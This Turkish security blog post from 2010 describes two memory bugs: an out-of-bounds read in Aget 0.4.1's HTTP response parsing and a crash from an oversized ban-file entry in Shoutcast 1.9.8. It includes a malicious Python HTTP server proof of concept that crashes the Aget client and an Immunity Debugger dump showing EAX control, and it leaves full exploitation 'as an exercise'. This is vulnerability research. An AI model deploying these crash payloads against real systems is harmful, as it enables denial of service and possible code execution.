

Egzersiz...

written by Mert SARICA | 5 January 2010

Pas tutmamak için kaynak kodu inceliyor, fuzzing ile de ufak tefek programları kurcalıyordum ki iki farklı uygulamada iki bug ile karşılaştım. İstismar edilme ihtimallerinin oldukça düşük olduğunu düşünsemde el elden üstündür diyerek sizlerle paylaşıyorum belki aranızdan biri istismar ederek bizleri aydınlatır.

İlk olarak bir çok linux dağıtımında yer alan Enderunix'in Aget v0.4.1 programının kaynak kodlarını inceledim.

```
aget-0.4.1\Defs.h
```

```
...
```

```
GETRECVSIZ = 8192,
```

```
....
```

```
aget-0.4.1\Download.c
```

```
...
```

```
void * http_get(void *arg) {
```

```
struct thread_data *td;
```

```
int sd;
```

```
char *rbuf, *s;
```

```
...
```

```
if ((dr = recv(sd, rbuf, GETRECVSIZ, 0)) == -1) {
```

```
Log(" recv failed: %s", tid, strerror(errno));
```

```
pthread_exit((void *)1);
```

```
}
```

```
...
```

```
rbuf = (char *)calloc(GETRECVSIZ, sizeof(char));
```

```
...
```

```
s = rbuf;
```

```
i = 0;
```

```
while(1) {
```

```
if (*s == '\n' && *(s - 1) == '\r' && *(s - 2) == '\n' && *(s - 3) == '\r') {
```

```
s++;
```

```
i++;
```

```
break;
}
s++;
i++;
}
```

Yukarıdaki koda dikkat edecek olursak Defs.h dosyasında GETRECVSIZ, 8192 byte olarak tanımlanmış ve calloc fonksiyonu ile 8192 byte büyüklüğünde hafıza tahsis edilmiş ve rbuf'a atanmış ancak kontrolsüz while döngüsü nedeniyle hafıza taşması sorunu ortaya çıkıyor ve sonuç olarak array index out of bound zaafiyeti ile karşılaşırız.

Zaafiyeti teyit etmek içinse daha önce internetten bulduğum (sanırım milw0rmda bulmuştum) ve client-side güvenlik zaafiyetini istismar etmek için hazırlanmış olan aracı biraz değiştirerek teyit ettim, sonuç segmentation fault.

```
#!/usr/bin/env python
from BaseHTTPServer import HTTPServer
from BaseHTTPServer import BaseHTTPRequestHandler
import sys
try:
import psyco
psyco.full()
except ImportError:
pass
class myRequestHandler(BaseHTTPRequestHandler):
try:
def do_HEAD(self):
# Always Accept GET
# self.printCustomHTTPResponse(200)
buffer = "HTTP/1.1 200 OK\r\nDate: Sat, 02 Jan 2010 13:06:39 GMT\r\nServer:
Apache/2.2.11 (Debian) DAV/2 SVN/1.5.1 mod_python/3.3.1 Python/2.5.2
mod_ssl/2.2.11 OpenSSL/0.9.8g mod_transform/0.6.0\r\nLast-Modified: Thu, 02
Jun 2005 07:53:29 GMT\r\nETag: \"f6cedc-5c800-3f88a8879f040\"\r\nAccept-
Ranges: bytes\r\nContent-Length: 1\r\nContent-Type: application/x-msdos-
program\r\n"
self.wfile.write(buffer)
def do_GET(self):
```

```

# Always Accept GET
self.printCustomHTTPResponse(200)
# Print custom HTTP Response
def printCustomHTTPResponse(self, respcode):
self.send_response(respcode)
self.send_header("Server", "myRequestHandler")
self.send_header("Content-Length", "1")
buffer = "A"*8041 + "\r\n" + "A"*8041 + "\r\n" + "A"*8041
# self.send_header("Content-type", "application/x-msdos-program")
self.send_header("Content-type", buffer)
# self.wfile.write(buffer)
self.end_headers()

except Exception:
pass
httpd = HTTPServer(('', 80), myRequestHandler)
try:
httpd.handle_request()
httpd.serve_forever()
except KeyboardInterrupt:
print ("\n\nExiting exploit...\n\n")
sys.exit()

```

Aget dışında download.com internet sitesinde gezinirken zamanında eğlenmek için kullandığım shoutcast internet radyo programı ile karşılaştım ve göz atmaya karar verdim. Kurulumu gerçekleştirip biraz incelediğimde admin panelinde IP adresi banlamak ve görüntülemek için kullanılan Ban List bölümü dikkatimi çekti. Programın banlanan IP adresini ise sc_serv.ban dosyasına kayıt ettiğini ve her çalıştırıldığında yüklediğini öğrendikten sonra fuzzing için hedef dosyayı inceledim ve test için banladığım IP adresine ait kaydın *1.1.1.1;255;Manual Add* olarak dosya içerisinde yer aldığımı gördüm. File fuzzing'i otomotize etmek için bir script hazırlamadan önce manuel olarak gerçekleştirdiğim ilk testte uygulamanın göçtüğünü gördüm ve debugger ile incelediğimde EAX registerına istediğim değeri yazabildiğimi gördüm ancak biraz daha inceledikten sonra EIP registerına gidecek azmi ve vakti bulamadım ve egzersiz olarak sizlere bırakabileceğimi düşündüm.

Shoutcast v1.9.8 (windows & linux)

sc_serv.ban içerisine 1.1.1.1;255;AAAAA(281 tane) satırını eklemeniz EAX registerına yazabilmeniz için yeterli oluyor.

Immunity Debugger - sc_serv.exe - [CPU - thread 00000244, module ntdll]

File View Debug Plugins ImmLib Options Window Help Jobs

l e m t w h c P k b z r ... s ? is your team hiring?

7C91B210 F540 10 INC EDI, PTR DS:[EAX+10]
7C91B210 8B45 FC MOV EAX, DWORD PTR SS:[EBP-4]
7C91B220 83E0 01 AND EAX, 1
7C91B223 8945 E8 MOV EDI, DWORD PTR SS:[EBP-18], EAX
7C91B226 8B00 00 MOV EAX, DWORD PTR DS:[ESI]
7C91B228 FF40 14 INC EDI, PTR DS:[EAX+14]
7C91B228 F695 F002FE7F 0 TEST BYTE PTR DS:[7FFE02F0], 1
7C91B232 0F95 3E702000 JNB ntdll.7C91B275
7C91B238 395D E8 CMP EDI, PTR SS:[EBP-18], EDI
7C91B238 57 PUSH EDI
7C91B238 5B PUSH EBX
7C91B240 0F85 F8840100 JE ntdll.7C91B27B
7C91B243 FF75 FC PUSH DWORD PTR SS:[EBP-4]
7C91B246 E3 0320FFFF CALL ntdll.ZwWaitForSingleObject
7C91B246 30 02019800 CMP EAX, 182
7C91B250 0F84 A8870200 JE ntdll.7C91B2A0
7C91B256 3BC3 CMP EAX, EBX
7C91B259 0F95 60800200 JNB ntdll.7C91B28E
7C91B25E 385D 08 CMP BYTE PTR SS:[EBP+8], BL
7C91B261 5F POP EDI
7C91B262 74 18 JE SHORT ntdll.7C91B27C
7C91B264 6441 13000000 MOV EAX, DWORD PTR FS:[13]
7C91B266 8B40 24 MOV EAX, DWORD PTR DS:[EAX+24]
7C91B26D 8946 0C MOV EDI, DWORD PTR DS:[ESI+4], EAX
7C91B270 6441 13000000 MOV EAX, DWORD PTR FS:[13]
7C91B276 8998 840F0000 MOV EDI, PTR DS:[EAX+8], EBX
DS:[42424252]=???

Registers (FPU)
EAX 42424242
ECX 00000000
EDX 00A205F0
EBX 00000000
ESP 0006E0C8
EBP 0006E0DC
ESI 00A205E0 ASCII "BBBBCCBBB"
EDI 00000000
EIP 7C91B21A ntdll.7C91B21A
C 0 E8 0023 32bit 0(FFFFFFFF)
P 1 C8 001B 32bit 0(FFFFFFFF)
A 0 S8 0023 32bit 0(FFFFFFFF)
Z 1 DS 0023 32bit 0(FFFFFFFF)
O 0 FS 0038 32bit 7FFDE000(FFF)
T 0 GS 0000 NULL
D 0
O 0 LastErr ERROR_SUCCESS (00000000)
EFL 00000246 (NO, NB, E, BE, NS, PE, GE, LE)
ST0 empty 0.0
ST1 empty 0.0
ST2 empty 0.0
ST3 empty 0.0
ST4 empty 0.0
ST5 empty 0.0
ST7 empty 0.0
3 2 1 0 F S P I D Z O T

Address Hex dump ASCII
0041A000 00 00 00 00 00 00 00 00
0041A008 00 00 00 00 7C 95 41 00ISA.
0041A010 FB 7C 41 00 00 00 00 00 ...IA.
0041A018 00 00 00 00 24 36 41 00\$6A.
0041A020 00 00 00 00 00 00 00 00
0041A028 00 00 00 00 00 00 00 00
0041A030 10 27 00 00 48 54 54 50HTTP
0041A038 2F 31 2E 31 20 25 30 30 /1.1 500
0041A040 00 00 00 00 48 54 54 50HTTP
0041A048 2F 31 2E 30 20 25 30 30 /1.0 500
0041A050 00 00 00 00 48 54 54 50HTTP
0041A058 2F 31 2E 31 20 24 30 34 /1.1 404
0041A060 00 00 00 00 48 54 54 50HTTP
0041A068 2F 31 2E 30 20 24 30 34 /1.0 404
0041A070 00 00 00 00 48 54 54 50HTTP
0041A078 2F 31 2E 30 20 24 30 31 /1.0 401
0041A080 00 00 00 00 48 54 54 50HTTP
0041A088 2F 31 2E 31 20 24 30 31 /1.1 401
0041A090 00 00 00 00 48 54 54 50HTTP
0041A098 2F 31 2E 30 20 25 30 30 /1.0 200
0041A0A0 00 00 00 00 69 63 73 20icy-
0041A0B8 61 75 74 68 20 68 69 63 auth-kic
0041A0C0 68 20 75 69 64 3A 00 00 k-uid:..
0041A0C8 69 63 72 20 61 75 74 68 icy-auth
0041A0D0 20 64 75 61 74 69 6F -duratio
0041A0D8 6E 3A 00 00 69 63 73 20 n:..icy-
0041A0E0 61 75 74 68 20 68 72 72 auth-exp
0041A0E8 6F 7C 3A 00 41 48 4E ..x.DCK.

0006E068 0006EE54 T-i.
0006E06C 00423084 40B. sc_serv.00423084
0006E070 0006EE54 T-i.
0006E074 00000576 0...
0006E078 00000008 0...
0006E07C 00000004 0...
0006E080 0006E0C8 \v.i.
0006E084 00000000 0...
0006E088 0006FF44 0 i.
0006E08C 7C809408 iua: kernel32.7C809408
0006E090 7C809C48 H6: kernel32.7C809C48
0006E094 FFFFFFFF
0006E098 7C80189C 6TC: RETURN to kernel32.7C80189C from kernel32.7C802511
0006E09C 00415057 WPA. RETURN to sc_serv.00415057 from kernel32.ReadFile
0006E0A0 00000004 0...
0006E0A4 00077060 0 i.
0006E0A8 0006E0D8 ivi.
0006E0AC 7C92C9CF 8FE: RETURN to ntdll.7C92C9CF from ntdll.isdigit
0006E0B0 00000001 1...
0006E0B4 0006EE70 1 i.
0006E0B8 0006EE60 1 i.
0006E0BC 00000000 0...
0006E0C0 00000001 0...
0006E0C4 00000001 0...
0006E0C8 00000001 0...
0006E0CC 00000001 0...
0006E0D0 00000001 0...
0006E0D4 00000000 0...
0006E0D8 00000008 0...
0006E0DC 0006E0F4 0 i.
0006E0E0 7C901046 FWE: RETURN to ntdll.7C901046 from ntdll.RtlpWaitForCriticalSection